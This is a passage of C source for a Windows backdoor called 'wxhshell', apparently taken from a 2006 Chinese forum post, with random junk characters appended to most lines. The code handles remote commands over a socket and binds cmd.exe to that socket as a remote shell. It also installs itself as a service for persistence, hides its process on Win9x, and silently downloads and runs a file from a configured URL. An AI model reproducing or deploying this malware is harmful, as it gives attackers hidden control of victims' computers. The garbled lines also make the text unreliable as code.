>p 9~'  
    switch(cmd[0]) { oMHTB!A=2  
  {fa3"k_ke  
  // 帮助 '; ;X{a  
  case '?': { cV:Ak~PKl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;"|QW?>$D  
    break; ()e|BFL.  
  } ' wni.E&  
  // 安装 M.\V/OX  
  case 'i': { _)[UartKx  
    if(Install()) +F+M[ef<ws  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v-DZW,  
    else p} {H%L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |H.ARLS  
    break; vKBi jmE  
    } B}0!b7!  
  // 卸载 :B:6ezDF6  
  case 'r': { uR6 `@F  
    if(Uninstall()) ZQ{-6VCjl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y`rli  
    else ||4T*B06  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qyP={E9A  
    break; 0+F--E4  
    } GA;h7  
  // 显示 wxhshell 所在路径 ?!y<%&U  
  case 'p': { Q)im2o@z  
    char svExeFile[MAX_PATH]; ;Vpp1mk|  
    strcpy(svExeFile,"\n\r"); f$ 7C 5  
      strcat(svExeFile,ExeFile); .F G%QFF~  
        send(wsh,svExeFile,strlen(svExeFile),0); u9fJ:a  
    break; @Gt.J*!s/  
    } QD%!a{I  
  // 重启 Kr;;aT0P  
  case 'b': { IKV!0-={!z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1!NrndJI  
    if(Boot(REBOOT)) "SRS{-p0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l=ZD&uK  
    else { /36gf  
    closesocket(wsh);  { &Vt]9  
    ExitThread(0); h"nhDART<  
    } DTG-R>y^  
    break; Jv}&8D  
    } "6 ~5RCZ  
  // 关机 5Dzf[V^]`  
  case 'd': { Cz &3=),G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y&H<8ez  
    if(Boot(SHUTDOWN)) h'?v(k!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5?Pf#kq  
    else { xkv%4H>  
    closesocket(wsh); L9-Jwy2(>  
    ExitThread(0);  TD%&9$F  
    } /l_u $"  
    break; bi^P k,'  
    } +abb[  
  // 获取shell u /]P  
  case 's': { *jvP4Nz)k  
    CmdShell(wsh); V0BT./ B\<  
    closesocket(wsh); c g)> A  
    ExitThread(0); Lq;T\m_de  
    break; Qj|rNeM_  
  } NGJst_  
  // 退出 .]s? 01Z  
  case 'x': { C+g}+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }0tHzw=#%e  
    CloseIt(wsh); 9!FU,4 X  
    break; 6VVxpDAi:  
    } L_aqr?Q  
  // 离开 (~o"*1fk>  
  case 'q': { / g{8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^RO<r}B u  
    closesocket(wsh); NyT%S?@y<  
    WSACleanup(); g?Tev^D  
    exit(1); `a83bF35  
    break; H(gY =  
        } Hi$R"O (  
  } Hqs!L`oW)  
  } W=3#oX.GsU  
-gm5E qi  
  // 提示信息 qZ'2M.;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  V?1[R  
} _cE_\Ay  
  } QS!Z*vG  
Kei0>hBi  
  return; ' tY(&&  
} '(rD8 pc  
T - _))  
// shell模块句柄 8["%e#%`$  
int CmdShell(SOCKET sock) G{]RC^Zo  
{ 3qn_9f]  
STARTUPINFO si; =\|,hg)c  
ZeroMemory(&si,sizeof(si)); \ a,}1FS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kl]MP}wc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sYBmL]Hr  
PROCESS_INFORMATION ProcessInfo; ]"b:IWPeI  
char cmdline[]="cmd"; YI ?P@y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `BKb60  
  return 0; '/NpmNY:L  
} ~abyjM  
&Ap9h# dK  
// 自身启动模式 \c CH/  
int StartFromService(void) ;b*qunJ3L  
{ #Zw:&' QB  
typedef struct +^+'.xQ  
{ \Q(a`6U  
  DWORD ExitStatus; RSh_~qMX  
  DWORD PebBaseAddress; ! #_2 ![  
  DWORD AffinityMask; 4pf@.ra,  
  DWORD BasePriority; 8 5X}CCQ  
  ULONG UniqueProcessId; e)n ,Y  
  ULONG InheritedFromUniqueProcessId; G(.G>8pf  
}   PROCESS_BASIC_INFORMATION; Mq)]2>"v  
6"* <0  
PROCNTQSIP NtQueryInformationProcess; Lo1ySLo$G  
i7-~"g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ajm!;LA[jO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lQ`=PFh  
dh7`eAMY   
  HANDLE             hProcess; (Fon!_$:  
  PROCESS_BASIC_INFORMATION pbi; zP%s]>hH  
i,r:R g~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P0}{xq'k9v  
  if(NULL == hInst ) return 0; %S;AM\o4  
wDh]vH[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o& FOp'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8#yu.\N.xt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |Q 3d7y  
wK-VA$;:  
  if (!NtQueryInformationProcess) return 0; }6%XiP|  
(T#$0RFq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I?}jf?!oM  
  if(!hProcess) return 0; H]R/=OYBUh  
KJ'ID  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?h&XIM(  
* ) <+u~  
  CloseHandle(hProcess); |T""v_q  
q7Hf7^a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t<Yi!6  
if(hProcess==NULL) return 0; }w$2,r gA  
aYaEy(m  
HMODULE hMod; Gy/w #4xj  
char procName[255]; =|z:wlOs  
unsigned long cbNeeded; vd[7Pxe  
9Vm1q!lE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]qT&6:;-]  
'-%1ILK$3r  
  CloseHandle(hProcess); :,0(aB  
<3{MS],<<  
if(strstr(procName,"services")) return 1; // 以服务启动 m}wn+R  
!.,wg'\P  
  return 0; // 注册表启动 [ @eA o>  
} ,XO@ZBOM  
xUdGSr50  
// 主模块 N x&/p$d  
int StartWxhshell(LPSTR lpCmdLine) 5U~KYy^v  
{ M9W zsWM  
  SOCKET wsl; G(a5@9F  
BOOL val=TRUE; <l5i%?  
  int port=0; T ?[28|  
  struct sockaddr_in door; l e'RU1k  
}N[X<9^ Z  
  if(wscfg.ws_autoins) Install(); &!CVF  
X 61|:E  
port=atoi(lpCmdLine); ~9+01UU^  
v@Uk% O/  
if(port<=0) port=wscfg.ws_port; o%?)};o  
xx`YBn~"  
  WSADATA data; ,-e}X w9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _&/`-"3y  
Qfm$q~`D^W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WVa%<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {}YA7M:L  
  door.sin_family = AF_INET; L\2"1%8Wj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @JbxGi  
  door.sin_port = htons(port); .#QE*<T)]  
epiviCYC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7~XC_Yc1  
closesocket(wsl); Nu"v .]Y2  
return 1; u8zL[] >  
} 0DicrnH8  
xvOz*vM?  
  if(listen(wsl,2) == INVALID_SOCKET) { I8gNg Z  
closesocket(wsl); f7_( C0d  
return 1; >.Gmu  
} 0zH-g  
  Wxhshell(wsl); B r#{  
  WSACleanup(); :01d9|#  
J 8%gC  
return 0; 5IF5R#  
C1D:Xi-  
} B5z'Tq1  
\AwkK3  
// 以NT服务方式启动 =VD],R)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <,)R`90_X6  
{ sjyr9AF  
DWORD   status = 0; zTa5 N  
  DWORD   specificError = 0xfffffff; ,JZ>)(@)  
zQyI4RHG[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ./F:]/Mt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Vg NB^w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,H{9`a#+:  
  serviceStatus.dwWin32ExitCode     = 0; w7@`:W  
  serviceStatus.dwServiceSpecificExitCode = 0; SI!A?34  
  serviceStatus.dwCheckPoint       = 0; H'k}/<%Q  
  serviceStatus.dwWaitHint       = 0; |cU75 S1  
v#Rh:#7O%U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G3DgB!  
  if (hServiceStatusHandle==0) return; f}bq  
%LrOGr  
status = GetLastError(); C+TB>~Gv`  
  if (status!=NO_ERROR) i O$87!  
{ Z^|N]Ej  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e-rlk5k%f  
    serviceStatus.dwCheckPoint       = 0; VM%g QOo<  
    serviceStatus.dwWaitHint       = 0; \U$:/#1Oe  
    serviceStatus.dwWin32ExitCode     = status; i#la'ICwJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; -P}A26qB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); to?!qxn  
    return; v@=qVwX  
  } ]CzK{-W  
K83'`W^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9ngxkOGx  
  serviceStatus.dwCheckPoint       = 0; #s{^fUN6  
  serviceStatus.dwWaitHint       = 0; uN)c!='I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GeP={lj  
} hVF^ "$  
&3t973=  
// 处理NT服务事件,比如:启动、停止 "J"=<_?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #Nh'1@@  
{ b$b;^nly  
switch(fdwControl) q\@Zf}  
{ AIg4u(j  
case SERVICE_CONTROL_STOP: ;].X;Ky <  
  serviceStatus.dwWin32ExitCode = 0; pT|s#-}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GTR*3,rw  
  serviceStatus.dwCheckPoint   = 0; N-K/jY  
  serviceStatus.dwWaitHint     = 0; yP{ 52%|+  
  { %>&ex0j]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E<jajYj  
  } ~P'.R.e  
  return; "OenYiz  
case SERVICE_CONTROL_PAUSE: wY<s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C][$0  
  break; t1w]L  
case SERVICE_CONTROL_CONTINUE: 4  eLZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tpGT~Y(  
  break; ;O}%SCF7  
case SERVICE_CONTROL_INTERROGATE: #%[;v K  
  break; "B{3q`(  
}; dcY(1p)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^t})T*hM0  
} oJ4HvrUO  
or*{P=m+R  
// 标准应用程序主函数 )jOa!E"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6=/sEzS'  
{ SZW_V6\t>  
!MKecRG_  
// 获取操作系统版本 7Vy_Cec1  
OsIsNt=GetOsVer(); 7GO9z<m)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jkL=JAcf~  
<J<"`xKL  
  // 从命令行安装 9I/l+IS"X  
  if(strpbrk(lpCmdLine,"iI")) Install(); i9L]h69r  
%4LoEm=U  
  // 下载执行文件 /F;2wT;  
if(wscfg.ws_downexe) { TX=894{nGh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VFf;|PHS  
  WinExec(wscfg.ws_filenam,SW_HIDE); ee? d ?:L  
} l6bY!I>  
}*(_JR4G  
if(!OsIsNt) { ~6;I"0b5  
// 如果时win9x,隐藏进程并且设置为注册表启动 ',R%Q0Q  
HideProc();  BI?, 3  
StartWxhshell(lpCmdLine); !+eU  
} \ UrD%;sq  
else iHhdoY[]  
  if(StartFromService()) Tv"T+!Z  
  // 以服务方式启动 ^W$R{`  
  StartServiceCtrlDispatcher(DispatchTable); i?!9%U!z4  
else \(pwHNSafk  
  // 普通方式启动 /O:4u_  
  StartWxhshell(lpCmdLine); b\0>uU  
(e'8>Pv  
return 0; QQW}.>N  
}
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只看该作者 1 发表于: 2006-10-10
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